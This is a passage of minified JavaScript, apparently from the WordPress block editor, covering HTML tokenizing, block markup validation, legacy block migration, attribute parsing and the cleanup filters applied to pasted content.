e=this.token;if(null===e)throw new Error("token was unexpectedly null");if(0===arguments.length)return e;for(var t=0;t<arguments.length;t++)if(e.type===arguments[t])return e;throw new Error("token type was unexpectedly "+e.type)},e.prototype.push=function(e){this.token=e,this.tokens.push(e)},e.prototype.currentAttribute=function(){return this._currentAttribute},e.prototype.addLocInfo=function(){this.options.loc&&(this.current().loc={start:{line:this.startLine,column:this.startColumn},end:{line:this.tokenizer.line,column:this.tokenizer.column}}),this.startLine=this.tokenizer.line,this.startColumn=this.tokenizer.column},e.prototype.beginDoctype=function(){this.push({type:"Doctype",name:""})},e.prototype.appendToDoctypeName=function(e){this.current("Doctype").name+=e},e.prototype.appendToDoctypePublicIdentifier=function(e){var t=this.current("Doctype");void 0===t.publicIdentifier?t.publicIdentifier=e:t.publicIdentifier+=e},e.prototype.appendToDoctypeSystemIdentifier=function(e){var t=this.current("Doctype");void 0===t.systemIdentifier?t.systemIdentifier=e:t.systemIdentifier+=e},e.prototype.endDoctype=function(){this.addLocInfo()},e.prototype.beginData=function(){this.push({type:"Chars",chars:""})},e.prototype.appendToData=function(e){this.current("Chars").chars+=e},e.prototype.finishData=function(){this.addLocInfo()},e.prototype.beginComment=function(){this.push({type:"Comment",chars:""})},e.prototype.appendToCommentData=function(e){this.current("Comment").chars+=e},e.prototype.finishComment=function(){this.addLocInfo()},e.prototype.tagOpen=function(){},e.prototype.beginStartTag=function(){this.push({type:"StartTag",tagName:"",attributes:[],selfClosing:!1})},e.prototype.beginEndTag=function(){this.push({type:"EndTag",tagName:""})},e.prototype.finishTag=function(){this.addLocInfo()},e.prototype.markTagAsSelfClosing=function(){this.current("StartTag").selfClosing=!0},e.prototype.appendToTagName=function(e){this.current("StartTag","EndTag").tagName+=e},e.prototype.beginAttribute=function(){this._currentAttribute=["","",!1]},e.prototype.appendToAttributeName=function(e){this.currentAttribute()[0]+=e},e.prototype.beginAttributeValue=function(e){this.currentAttribute()[2]=e},e.prototype.appendToAttributeValue=function(e){this.currentAttribute()[1]+=e},e.prototype.finishAttributeValue=function(){this.current("StartTag").attributes.push(this._currentAttribute)},e.prototype.reportSyntaxError=function(e){this.current().syntaxError=e},e}();var hn=r(7734),gn=r.n(hn);const mn=window.wp.htmlEntities;function bn(){function e(e){return(t,...r)=>e("Block validation: "+t,...r)}return{error:e(console.error),warning:e(console.warn),getItems:()=>[]}}const _n=/[\t\n\r\v\f ]+/g,yn=/^[\t\n\r\v\f ]*$/,kn=/^url\s*\(['"\s]*(.*?)['"\s]*\)$/,wn=["allowfullscreen","allowpaymentrequest","allowusermedia","async","autofocus","autoplay","checked","controls","default","defer","disabled","download","formnovalidate","hidden","ismap","itemscope","loop","multiple","muted","nomodule","novalidate","open","playsinline","readonly","required","reversed","selected","typemustmatch"],vn=[...wn,"autocapitalize","autocomplete","charset","contenteditable","crossorigin","decoding","dir","draggable","enctype","formenctype","formmethod","http-equiv","inputmode","kind","method","preload","scope","shape","spellcheck","translate","type","wrap"],Tn=[e=>e,function(e){return Bn(e).join(" ")}],Cn=/^[\da-z]+$/i,xn=/^#\d+$/,En=/^#x[\da-f]+$/i;class Sn{parse(e){if(t=e,Cn.test(t)||xn.test(t)||En.test(t))return(0,mn.decodeEntities)("&"+e+";");var t}}function Bn(e){return e.trim().split(_n)}function An(e){return e.attributes.filter((e=>{const[t,r]=e;return r||0===t.indexOf("data-")||vn.includes(t)}))}function Nn(e,t,r=bn()){let n=e.chars,o=t.chars;for(let e=0;e<Tn.length;e++){const t=Tn[e];if(n=t(n),o=t(o),n===o)return!0}return r.warning("Expected text `%s`, saw `%s`.",t.chars,e.chars),!1}function Pn(e){return 0===parseFloat(e)?"0":0===e.indexOf(".")?"0"+e:e}function On(e){return Bn(e).map(Pn).join(" ").replace(kn,"url($1)")}function Ln(e){const t=e.replace(/;?\s*$/,"").split(";").map((e=>{const[t,...r]=e.split(":"),n=r.join(":");return[t.trim(),On(n.trim())]}));return Object.fromEntries(t)}const Mn={class:(e,t)=>{const[r,n]=[e,t].map(Bn),o=r.filter((e=>!n.includes(e))),a=n.filter((e=>!r.includes(e)));return 0===o.length&&0===a.length},style:(e,t)=>gn()(...[e,t].map(Ln)),...Object.fromEntries(wn.map((e=>[e,()=>!0])))};const jn={StartTag:(e,t,r=bn())=>e.tagName!==t.tagName&&e.tagName.toLowerCase()!==t.tagName.toLowerCase()?(r.warning("Expected tag name `%s`, instead saw `%s`.",t.tagName,e.tagName),!1):function(e,t,r=bn()){if(e.length!==t.length)return r.warning("Expected attributes %o, instead saw %o.",t,e),!1;const n={};for(let e=0;e<t.length;e++)n[t[e][0].toLowerCase()]=t[e][1];for(let t=0;t<e.length;t++){const[o,a]=e[t],i=o.toLowerCase();if(!n.hasOwnProperty(i))return r.warning("Encountered unexpected attribute `%s`.",o),!1;const s=n[i],c=Mn[i];if(c){if(!c(a,s))return r.warning("Expected attribute `%s` of value `%s`, saw `%s`.",o,s,a),!1}else if(a!==s)return r.warning("Expected attribute `%s` of value `%s`, saw `%s`.",o,s,a),!1}return!0}(...[e,t].map(An),r),Chars:Nn,Comment:Nn};function Dn(e){let t;for(;t=e.shift();){if("Chars"!==t.type)return t;if(!yn.test(t.chars))return t}}function zn(e,t){return!!e.selfClosing&&!(!t||t.tagName!==e.tagName||"EndTag"!==t.type)}function In(e,t,r=bn()){if(e===t)return!0;const[n,o]=[e,t].map((e=>function(e,t=bn()){try{return new fn(new Sn).tokenize(e)}catch(r){t.warning("Malformed HTML detected: %s",e)}return null}(e,r)));if(!n||!o)return!1;let a,i;for(;a=Dn(n);){if(i=Dn(o),!i)return r.warning("Expected end of content, instead saw %o.",a),!1;if(a.type!==i.type)return r.warning("Expected token of type `%s` (%o), instead saw `%s` (%o).",i.type,i,a.type,a),!1;const e=jn[a.type];if(e&&!e(a,i,r))return!1;zn(a,o[0])?Dn(o):zn(i,n[0])&&Dn(n)}return!(i=Dn(o))||(r.warning("Expected %o, instead saw end of content.",i),!1)}function Rn(e,t=e.name){if(e.name===he()||e.name===be())return[!0,[]];const r=function(){const e=[],t=bn();return{error(...r){e.push({log:t.error,args:r})},warning(...r){e.push({log:t.warning,args:r})},getItems:()=>e}}(),n=Fe(t);let o;try{o=Zr(n,e.attributes)}catch(e){return r.error("Block validation failed because an error occurred while generating block content:\n\n%s",e.toString()),[!1,r.getItems()]}const a=In(e.originalContent,o,r);return a||r.error("Block validation failed for `%s` (%o).\n\nContent generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s",n.name,n,o,e.originalContent),[a,r.getItems()]}function Hn(e,t,r){Q()("isValidBlockContent introduces opportunity for data loss",{since:"12.6",plugin:"Gutenberg",alternative:"validateBlock"});const n=Fe(e),o={name:n.name,attributes:t,innerBlocks:[],originalContent:r},[a]=Rn(o,n);return a}function Vn(e,t){const r={...t};if("core/cover-image"===e&&(e="core/cover"),"core/text"!==e&&"core/cover-text"!==e||(e="core/paragraph"),e&&0===e.indexOf("core/social-link-")&&(r.service=e.substring(17),e="core/social-link"),e&&0===e.indexOf("core-embed/")){const t=e.substring(11),n={speaker:"speaker-deck",polldaddy:"crowdsignal"};r.providerNameSlug=t in n?n[t]:t,["amazon-kindle","wordpress"].includes(t)||(r.responsive=!0),e="core/embed"}if("core/post-comment-author"===e&&(e="core/comment-author-name"),"core/post-comment-content"===e&&(e="core/comment-content"),"core/post-comment-date"===e&&(e="core/comment-date"),"core/comments-query-loop"===e){e="core/comments";const{className:t=""}=r;t.includes("wp-block-comments-query-loop")||(r.className=["wp-block-comments-query-loop",t].join(" "))}if("core/post-comments"===e&&(e="core/comments",r.legacy=!0),"grid"===t.layout?.type&&"string"==typeof t.layout?.columnCount&&(r.layout={...r.layout,columnCount:parseInt(t.layout.columnCount,10)}),"string"==typeof t.style?.layout?.columnSpan){const e=parseInt(t.style.layout.columnSpan,10);r.style={...r.style,layout:{...r.style.layout,columnSpan:isNaN(e)?void 0:e}}}if("string"==typeof t.style?.layout?.rowSpan){const e=parseInt(t.style.layout.rowSpan,10);r.style={...r.style,layout:{...r.style.layout,rowSpan:isNaN(e)?void 0:e}}}return[e,r]}var $n,Un=function(){return $n||($n=document.implementation.createHTMLDocument("")),$n};function Fn(e,t){if(t){if("string"==typeof e){var r=Un();r.body.innerHTML=e,e=r.body}if("function"==typeof t)return t(e);if(Object===t.constructor)return Object.keys(t).reduce((function(r,n){return r[n]=Fn(e,t[n]),r}),{})}}function qn(e,t){return 1===arguments.length&&(t=e,e=void 0),function(r){var n=r;if(e&&(n=r.querySelector(e)),n)return function(e,t){for(var r,n=t.split(".");r=n.shift();){if(!(r in e))return;e=e[r]}return e}(n,t)}}function Gn(e){const t={};for(let r=0;r<e.length;r++){const{name:n,value:o}=e[r];t[n]=o}return t}function Kn(e){if(Q()("wp.blocks.node.fromDOM",{since:"6.1",version:"6.3",alternative:"wp.richText.create",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),e.nodeType===e.TEXT_NODE)return e.nodeValue;if(e.nodeType!==e.ELEMENT_NODE)throw new TypeError("A block node can only be created from a node of type text or element.");return{type:e.nodeName.toLowerCase(),props:{...Gn(e.attributes),children:Qn(e.childNodes)}}}function Wn(e){return Q()("wp.blocks.node.matcher",{since:"6.1",version:"6.3",alternative:"html source",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),t=>{let r=t;e&&(r=t.querySelector(e));try{return Kn(r)}catch(e){return null}}}const Yn={isNodeOfType:function(e,t){return Q()("wp.blocks.node.isNodeOfType",{since:"6.1",version:"6.3",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),e&&e.type===t},fromDOM:Kn,toHTML:function(e){return Q()("wp.blocks.node.toHTML",{since:"6.1",version:"6.3",alternative:"wp.richText.toHTMLString",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),Zn([e])},matcher:Wn};function Qn(e){Q()("wp.blocks.children.fromDOM",{since:"6.1",version:"6.3",alternative:"wp.richText.create",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"});const t=[];for(let r=0;r<e.length;r++)try{t.push(Kn(e[r]))}catch(e){}return t}function Zn(e){Q()("wp.blocks.children.toHTML",{since:"6.1",version:"6.3",alternative:"wp.richText.toHTMLString",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"});const t=e;return(0,G.renderToString)(t)}function Xn(e){return Q()("wp.blocks.children.matcher",{since:"6.1",version:"6.3",alternative:"html source",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),t=>{let r=t;return e&&(r=t.querySelector(e)),r?Qn(r.childNodes):[]}}const Jn={concat:function(...e){Q()("wp.blocks.children.concat",{since:"6.1",version:"6.3",alternative:"wp.richText.concat",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"});const t=[];for(let r=0;r<e.length;r++){const n=Array.isArray(e[r])?e[r]:[e[r]];for(let e=0;e<n.length;e++){const r=n[e];"string"==typeof r&&"string"==typeof t[t.length-1]?t[t.length-1]+=r:t.push(r)}}return t},getChildrenArray:function(e){return Q()("wp.blocks.children.getChildrenArray",{since:"6.1",version:"6.3",link:"https://developer.wordpress.org/block-editor/how-to-guides/block-tutorial/introducing-attributes-and-editable-fields/"}),e},fromDOM:Qn,toHTML:Zn,matcher:Xn};function eo(e,t){return t.some((t=>function(e,t){switch(t){case"rich-text":return e instanceof W.RichTextData;case"string":return"string"==typeof e;case"boolean":return"boolean"==typeof e;case"object":return!!e&&e.constructor===Object;case"null":return null===e;case"array":return Array.isArray(e);case"integer":case"number":return"number"==typeof e}return!0}(e,t)))}function to(e,t,r,n,o){let a;switch(t.source){case void 0:a=n?n[e]:void 0;break;case"raw":a=o;break;case"attribute":case"property":case"html":case"text":case"rich-text":case"children":case"node":case"query":case"tag":a=oo(r,t)}return function(e,t){return void 0===t||eo(e,Array.isArray(t)?t:[t])}(a,t.type)&&function(e,t){return!Array.isArray(t)||t.includes(e)}(a,t.enum)||(a=void 0),void 0===a&&(a=Ke(t)),a}const ro=function(e,t){var r,n,o=0;function a(){var a,i,s=r,c=arguments.length;e:for(;s;){if(s.args.length===arguments.length){for(i=0;i<c;i++)if(s.args[i]!==arguments[i]){s=s.next;continue e}return s!==r&&(s===n&&(n=s.prev),s.prev.next=s.next,s.next&&(s.next.prev=s.prev),s.next=r,s.prev=null,r.prev=s,r=s),s.val}s=s.next}for(a=new Array(c),i=0;i<c;i++)a[i]=arguments[i];return s={args:a,val:e.apply(null,a)},r?(r.prev=s,s.next=r):n=s,o===t.maxSize?(n=n.prev).next=null:o++,r=s,s.val}return t=t||{},a.clear=function(){r=null,n=null,o=0},a}((e=>{switch(e.source){case"attribute":{let t=function(e,t){return 1===arguments.length&&(t=e,e=void 0),function(r){var n=qn(e,"attributes")(r);if(n&&n.hasOwnProperty(t))return n[t].value}}(e.selector,e.attribute);return"boolean"===e.type&&(t=(e=>t=>void 0!==e(t))(t)),t}case"html":return t=e.selector,r=e.multiline,e=>{let n=e;if(t&&(n=e.querySelector(t)),!n)return"";if(r){let e="";const t=n.children.length;for(let o=0;o<t;o++){const t=n.children[o];t.nodeName.toLowerCase()===r&&(e+=t.outerHTML)}return e}return n.innerHTML};case"text":return function(e){return qn(e,"textContent")}(e.selector);case"rich-text":return((e,t)=>r=>{const n=e?r.querySelector(e):r;return n?W.RichTextData.fromHTMLElement(n,{preserveWhiteSpace:t}):W.RichTextData.empty()})(e.selector,e.__unstablePreserveWhiteSpace);case"children":return Xn(e.selector);case"node":return Wn(e.selector);case"query":const n=Object.fromEntries(Object.entries(e.query).map((([e,t])=>[e,ro(t)])));return function(e,t){return function(r){var n=r.querySelectorAll(e);return[].map.call(n,(function(e){return Fn(e,t)}))}}(e.selector,n);case"tag":{const t=qn(e.selector,"nodeName");return e=>t(e)?.toLowerCase()}default:console.error(`Unknown source type "${e.source}"`)}var t,r}));function no(e){return Fn(e,(e=>e))}function oo(e,t){return ro(t)(no(e))}function ao(e,t,r={}){var n;const o=no(t),a=Fe(e),i=Object.fromEntries(Object.entries(null!==(n=a.attributes)&&void 0!==n?n:{}).map((([e,n])=>[e,to(e,n,o,r,t)])));return(0,qt.applyFilters)("blocks.getBlockAttributes",i,a,t,r)}const io={type:"string",source:"attribute",selector:"[data-custom-class-name] > *",attribute:"class"};function so(e){const t=oo(`<div data-custom-class-name>${e}</div>`,io);return t?t.trim().split(/\s+/):[]}const co={type:"string",source:"attribute",selector:"[data-aria-label] > *",attribute:"aria-label"};function lo(e,t,r){if(!Ce(t,"ariaLabel",!1))return e;const n={...e},o=function(e){return oo(`<div data-aria-label>${e}</div>`,co)}(r);return o&&(n.ariaLabel=o),n}function uo(e,t){const{attributes:r,originalContent:n}=e;let o=r;return o=function(e,t,r){if(!Ce(t,"customClassName",!0))return e;const n={...e},{className:o,...a}=n,i=Zr(t,a),s=so(i),c=so(r).filter((e=>!s.includes(e)));return c.length?n.className=c.join(" "):i&&delete n.className,n}(r,t,n),o=lo(o,t,n),{...e,attributes:o}}function po(){return!1}function fo(e,t){let r=function(e,t){const r=he(),n=e.blockName||he(),o=e.attrs||{},a=e.innerBlocks||[];let i=e.innerHTML.trim();return n!==r||"core/freeform"!==n||t?.__unstableSkipAutop||(i=(0,Rr.autop)(i).trim()),{...e,blockName:n,attrs:o,innerHTML:i,innerBlocks:a}}(e,t);r=function(e){const[t,r]=Vn(e.blockName,e.attrs);return{...e,blockName:t,attrs:r}}(r);let n=we(r.blockName);n||(r=function(e){const t=be()||he(),r=$r(e,{isCommentDelimited:!1}),n=$r(e,{isCommentDelimited:!0});return{blockName:t,attrs:{originalName:e.blockName,originalContent:n,originalUndelimitedContent:r},innerHTML:e.blockName?n:e.innerHTML,innerBlocks:e.innerBlocks,innerContent:e.innerContent}}(r),n=we(r.blockName));const o=r.blockName===he()||r.blockName===be();if(!n||!r.innerHTML&&o)return;const a=r.innerBlocks.map((e=>fo(e,t))).filter((e=>!!e)),i=Tr(r.blockName,ao(n,r.innerHTML,r.attrs),a);i.originalContent=r.innerHTML;const s=function(e,t){const[r]=Rn(e,t);if(r)return{...e,isValid:r,validationIssues:[]};const n=uo(e,t),[o,a]=Rn(n,t);return{...n,isValid:o,validationIssues:a}}(i,n),{validationIssues:c}=s,l=function(e,t,r){const n=t.attrs,{deprecated:o}=r;if(!o||!o.length)return e;for(let a=0;a<o.length;a++){const{isEligible:i=po}=o[a];if(e.isValid&&!i(n,e.innerBlocks,{blockNode:t,block:e}))continue;const s=Object.assign(Xe(r,X),o[a]);let c={...e,attributes:ao(s,e.originalContent,n)},[l]=Rn(c,s);if(l||(c=uo(c,s),[l]=Rn(c,s)),!l)continue;let u=c.innerBlocks,d=c.attributes;const{migrate:p}=s;if(p){let t=p(d,e.innerBlocks);Array.isArray(t)||(t=[t]),[d=n,u=e.innerBlocks]=t}e={...e,attributes:d,innerBlocks:u,isValid:!0,validationIssues:[]}}return e}(s,r,n);return l.isValid||(l.__unstableBlockSource=e),s.isValid||!l.isValid||t?.__unstableSkipMigrationLogs?s.isValid||l.isValid||c.forEach((({log:e,args:t})=>e(...t))):(console.groupCollapsed("Updated Block: %s",n.name),console.info("Block successfully updated for `%s` (%o).\n\nNew content generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s",n.name,n,Zr(n,l.attributes),l.originalContent),console.groupEnd()),l}function ho(e,t){return(0,Ir.parse)(e).reduce(((e,r)=>{const n=fo(r,t);return n&&e.push(n),e}),[])}function go(){return Mr("from").filter((({type:e})=>"raw"===e)).map((e=>e.isMatch?e:{...e,isMatch:t=>e.selector&&t.matches(e.selector)}))}function mo(e,t){const r=document.implementation.createHTMLDocument("");return r.body.innerHTML=e,Array.from(r.body.children).flatMap((e=>{const r=Lr(go(),(({isMatch:t})=>t(e)));if(!r)return G.Platform.isNative?ho(`\x3c!-- wp:html --\x3e${e.outerHTML}\x3c!-- /wp:html --\x3e`):Tr("core/html",ao("core/html",e.outerHTML));const{transform:n,blockName:o}=r;if(n){const r=n(e,t);return e.hasAttribute("class")&&(r.attributes.className=e.getAttribute("class")),r}return Tr(o,ao(o,e.outerHTML))}))}function bo(e,t={}){const r=document.implementation.createHTMLDocument(""),n=document.implementation.createHTMLDocument(""),o=r.body,a=n.body;for(o.innerHTML=e;o.firstChild;){const e=o.firstChild;e.nodeType===e.TEXT_NODE?(0,K.isEmpty)(e)?o.removeChild(e):(a.lastChild&&"P"===a.lastChild.nodeName||a.appendChild(n.createElement("P")),a.lastChild.appendChild(e)):e.nodeType===e.ELEMENT_NODE?"BR"===e.nodeName?(e.nextSibling&&"BR"===e.nextSibling.nodeName&&(a.appendChild(n.createElement("P")),o.removeChild(e.nextSibling)),a.lastChild&&"P"===a.lastChild.nodeName&&a.lastChild.hasChildNodes()?a.lastChild.appendChild(e):o.removeChild(e)):"P"===e.nodeName?(0,K.isEmpty)(e)&&!t.raw?o.removeChild(e):a.appendChild(e):(0,K.isPhrasingContent)(e)?(a.lastChild&&"P"===a.lastChild.nodeName||a.appendChild(n.createElement("P")),a.lastChild.appendChild(e)):a.appendChild(e):o.removeChild(e)}return a.innerHTML}function _o(e,t){if(e.nodeType!==e.COMMENT_NODE)return;if("nextpage"!==e.nodeValue&&0!==e.nodeValue.indexOf("more"))return;const r=function(e,t){if("nextpage"===e.nodeValue)return function(e){const t=e.createElement("wp-block");return t.dataset.block="core/nextpage",t}(t);const r=e.nodeValue.slice(4).trim();let n=e,o=!1;for(;n=n.nextSibling;)if(n.nodeType===n.COMMENT_NODE&&"noteaser"===n.nodeValue){o=!0,(0,K.remove)(n);break}return function(e,t,r){const n=r.createElement("wp-block");n.dataset.block="core/more",e&&(n.dataset.customText=e);t&&(n.dataset.noTeaser="");return n}(r,o,t)}(e,t);if(e.parentNode&&"P"===e.parentNode.nodeName){const n=Array.from(e.parentNode.childNodes),o=n.indexOf(e),a=e.parentNode.parentNode||t.body,i=(e,r)=>(e||(e=t.createElement("p")),e.appendChild(r),e);[n.slice(0,o).reduce(i,null),r,n.slice(o+1).reduce(i,null)].forEach((t=>t&&a.insertBefore(t,e.parentNode))),(0,K.remove)(e.parentNode)}else(0,K.replace)(e,r)}function yo(e){return"OL"===e.nodeName||"UL"===e.nodeName}function ko(e){if(!yo(e))return;const t=e,r=e.previousElementSibling;if(r&&r.nodeName===e.nodeName&&1===t.children.length){for(;t.firstChild;)r.appendChild(t.firstChild);t.parentNode.removeChild(t)}const n=e.parentNode;if(n&&"LI"===n.nodeName&&1===n.children.length&&!/\S/.test((o=n,Array.from(o.childNodes).map((({nodeValue:e=""})=>e)).join("")))){const e=n,r=e.previousElementSibling,o=e.parentNode;r&&(r.appendChild(t),o.removeChild(e))}var o;if(n&&yo(n)){const t=e.previousElementSibling;t?t.appendChild(e):(0,K.unwrap)(e)}}function wo(e){return t=>{"BLOCKQUOTE"===t.nodeName&&(t.innerHTML=bo(t.innerHTML,e))}}function vo(e,t=e){const r=e.ownerDocument.createElement("figure");t.parentNode.insertBefore(r,t),r.appendChild(e)}function To(e,t,r){if(!function(e,t){var r;const n=e.nodeName.toLowerCase();return"figcaption"!==n&&!(0,K.isTextContent)(e)&&n in(null!==(r=t?.figure?.children)&&void 0!==r?r:{})}(e,r))return;let n=e;const o=e.parentNode;(function(e,t){var r;return e.nodeName.toLowerCase()in(null!==(r=t?.figure?.children?.a?.children)&&void 0!==r?r:{})})(e,r)&&"A"===o.nodeName&&1===o.childNodes.length&&(n=e.parentNode);const a=n.closest("p,div");a?e.classList?(e.classList.contains("alignright")||e.classList.contains("alignleft")||e.classList.contains("aligncenter")||!a.textContent.trim())&&vo(n,a):vo(n,a):vo(n)}const Co=window.wp.shortcode,xo=e=>Array.isArray(e)?e:[e],Eo=/(\n|<p>)\s*$/,So=/^\s*(\n|<\/p>)/;const Bo=function e(t,r=0,n=[]){const o=Lr(Mr("from"),(e=>-1===n.indexOf(e.blockName)&&"shortcode"===e.type&&xo(e.tag).some((e=>(0,Co.regexp)(e).test(t)))));if(!o)return[t];const a=xo(o.tag).find((e=>(0,Co.regexp)(e).test(t)));let i;const s=r;if(i=(0,Co.next)(a,t,r)){r=i.index+i.content.length;const a=t.substr(0,i.index),c=t.substr(r);if(!(i.shortcode.content?.includes("<")||Eo.test(a)&&So.test(c)))return e(t,r);if(o.isMatch&&!o.isMatch(i.shortcode.attrs))return e(t,s,[...n,o.blockName]);let l=[];if("function"==typeof o.transform)l=[].concat(o.transform(i.shortcode.attrs,i)),l=l.map((e=>(e.originalContent=i.shortcode.content,uo(e,we(e.name)))));else{const e=Object.fromEntries(Object.entries(o.attributes).filter((([,e])=>e.shortcode)).map((([e,t])=>[e,t.shortcode(i.shortcode.attrs,i)]))),r=we(o.blockName);if(!r)return[t];const n={...r,attributes:o.attributes};let a=Tr(o.blockName,ao(n,i.shortcode.content,e));a.originalContent=i.shortcode.content,a=uo(a,n),l=[a]}return[...e(a.replace(Eo,"")),...l,...e(c.replace(So,""))]}return[t]};function Ao(e){return function(e,t){const r={phrasingContentSchema:(0,K.getPhrasingContentSchema)(t),isPaste:"paste"===t};function n(e,t,r){switch(r){case"children":return"*"===e||"*"===t?"*":{...e,...t};case"attributes":case"require":return[...e||[],...t||[]];case"isMatch":if(!e||!t)return;return(...r)=>e(...r)||t(...r)}}function o(e,t){for(const r in t)e[r]=e[r]?n(e[r],t[r],r):{...t[r]};return e}return e.map((({isMatch:e,blockName:t,schema:n})=>{const o=Ce(t,"anchor");return n="function"==typeof n?n(r):n,o||e?n?Object.fromEntries(Object.entries(n).map((([t,r])=>{let n=r.attributes||[];return o&&(n=[...n,"id"]),[t,{...r,attributes:n,isMatch:e||void 0}]}))):{}:n})).reduce((function(e,t){for(const r in t)e[r]=e[r]?o(e[r],t[r]):{...t[r]};return e}),{})}(go(),e)}function No(e,t,r,n){Array.from(e).forEach((e=>{No(e.childNodes,t,r,n),t.forEach((t=>{r.contains(e)&&t(e,r,n)}))}))}function Po(e,t=[],r){const n=document.implementation.createHTMLDocument("");return n.body.innerHTML=e,No(n.body.childNodes,t,n,r),n.body.innerHTML}function Oo(e,t){const r=e[`${t}Sibling`];if(r&&(0,K.isPhrasingContent)(r))return r;const{parentNode:n}=e;return n&&(0,K.isPhrasingContent)(n)?Oo(n,t):void 0}function Lo(e){return Q()("wp.blocks.getPhrasingContentSchema",{since:"5.6",alternative:"wp.dom.getPhrasingContentSchema"}),(0,K.getPhrasingContentSchema)(e)}function Mo({HTML:e=""}){if(-1!==e.indexOf("\x3c!-- wp:")){const t=ho(e);if(!(1===t.length&&"core/freeform"===t[0].name))return t}const t=Bo(e),r=Ao();return t.map((e=>{if("string"!=typeof e)return e;return mo(e=bo(e=Po(e,[ko,_o,To,wo({raw:!0})],r),{raw:!0}),Mo)})).flat().filter(Boolean)}function jo(e){e.nodeType===e.COMMENT_NODE&&(0,K.remove)(e)}function Do(e,t){return e.every((e=>function(e,t){if((0,K.isTextContent)(e))return!0;if(!t)return!1;const r=e.nodeName.toLowerCase();return[["ul","li","ol"],["h1","h2","h3","h4","h5","h6"]].some((e=>0===[r,t].filter((t=>!e.includes(t))).length))}(e,t)&&Do(Array.from(e.children),t)))}function zo(e){return"BR"===e.nodeName&&e.previousSibling&&"BR"===e.previousSibling.nodeName}function Io(e,t){if("SPAN"===e.nodeName&&e.style){const{fontWeight:r,fontStyle:n,textDecorationLine:o,textDecoration:a,verticalAlign:i}=e.style;"bold"!==r&&"700"!==r||(0,K.wrap)(t.createElement("strong"),e),"italic"===n&&(0,K.wrap)(t.createElement("em"),e),("line-through"===o||a.includes("line-through"))&&(0,K.wrap)(t.createElement("s"),e),"super"===i?(0,K.wrap)(t.createElement("sup"),e):"sub"===i&&(0,K.wrap)(t.createElement("sub"),e)}else"B"===e.nodeName?e=(0,K.replaceTag)(e,"strong"):"I"===e.nodeName?e=(0,K.replaceTag)(e,"em"):"A"===e.nodeName&&(e.target&&"_blank"===e.target.toLowerCase()?e.rel="noreferrer noopener":(e.removeAttribute("target"),e.removeAttribute("rel")),e.name&&!e.id&&(e.id=e.name),e.id&&!e.ownerDocument.querySelector(`[href="#${e.id}"]`)&&e.removeAttribute("id"))}function Ro(e){"SCRIPT"!==e.nodeName&&"NOSCRIPT"!==e.nodeName&&"TEMPLATE"!==e.nodeName&&"STYLE"!==e.nodeName||e.parentNode.removeChild(e)}function Ho(e){if(e.nodeType!==e.ELEMENT_NODE)return;const t=e.getAttribute("style");if(!t||!t.includes("mso-list"))return;"ignore"===t.split(";").reduce(((e,t)=>{const[r,n]=t.split(":");return r&&n&&(e[r.trim().toLowerCase()]=n.trim().toLowerCase()),e}),{})["mso-list"]&&e.remove()}function Vo(e){return"OL"===e.nodeName||"UL"===e.nodeName}function $o(e,t){if("P"!==e.nodeName)return;const r=e.getAttribute("style");if(!r||!r.includes("mso-list"))return;const n=e.previousElementSibling;if(!n||!Vo(n)){const r=e.textContent.trim().slice(0,1),n=/[1iIaA]/.test(r),o=t.createElement(n?"ol":"ul");n&&o.setAttribute("type",r),e.parentNode.insertBefore(o,e)}const o=e.previousElementSibling,a=o.nodeName,i=t.createElement("li");let s=o;i.innerHTML=Po(e.innerHTML,[Ho]);const c=/mso-list\s*:[^;]+level([0-9]+)/i.exec(r);let l=c&&parseInt(c[1],10)-1||0;for(;l--;)s=s.lastChild||s,Vo(s)&&(s=s.lastChild||s);Vo(s)||(s=s.appendChild(t.createElement(a))),s.appendChild(i),e.parentNode.removeChild(e)}const Uo=window.wp.blob;function Fo(e){if("IMG"===e.nodeName){if(0===e.src.indexOf("file:")&&(e.src=""),0===e.src.indexOf("data:")){const[t,r]=e.src.split(","),[n]=t.slice(5).split(";");if(!r||!n)return void(e.src="");let o;try{o=atob(r)}catch(t){return void(e.src="")}const a=new Uint8Array(o.length);for(let e=0;e<a.length;e++)a[e]=o.charCodeAt(e);const i=n.replace("/","."),s=new window.File([a],i,{type:n});e.src=(0,Uo.createBlobURL)(s)}1!==e.height&&1!==e.width||e.parentNode.removeChild(e)}}function qo(e){"DIV"===e.nodeName&&(e.innerHTML=bo(e.innerHTML))}var Go=r(1030);const Ko=new(r.n(Go)().Converter)({noHeaderId:!0,tables:!0,literalMidWordUnderscores:!0,omitExtraWLInCodeBlocks:!0,simpleLineBreaks:!0,strikethrough:!0});function Wo(e){if("IFRAME"===e.nodeName){const t=e.ownerDocument.createTextNode(e.src);e.parentNode.replaceChild(t,e)}}function Yo(e){e.id&&0===e.id.indexOf("docs-internal-guid-")&&("B"===e.tagName?(0,K.unwrap)(e):e.removeAttribute("id"))}function Qo(e){if(e.nodeType!==e.TEXT_NODE)return;let t=e;for(;t=t.parentNode;)if(t.nodeType===t.ELEMENT_NODE&&"PRE"===t.nodeName)return;let r=e.data.replace(/[ \r\n\t]+/g," ");if(" "===r[0]){const t=Oo(e,"previous");t&&"BR"!==t.nodeName&&" "!==t.textContent.slice(-1)||(r=r.slice(1))}if(" "===r[r.length-1]){const t=Oo(e,"next");(!t||"BR"===t.nodeName||t.nodeType===t.TEXT_NODE&&(" "===(n=t.textContent[0])||"\r"===n||"\n"===n||"\t"===n))&&(r=r.slice(0,-1))}var n;r?e.data=r:e.parentNode.removeChild(e)}function Zo(e){"BR"===e.nodeName&&(Oo(e,"next")||e.parentNode.removeChild(e))}function Xo(e){"P"===e.nodeName&&(e.hasChildNodes()||e.parentNode.removeChild(e))}function 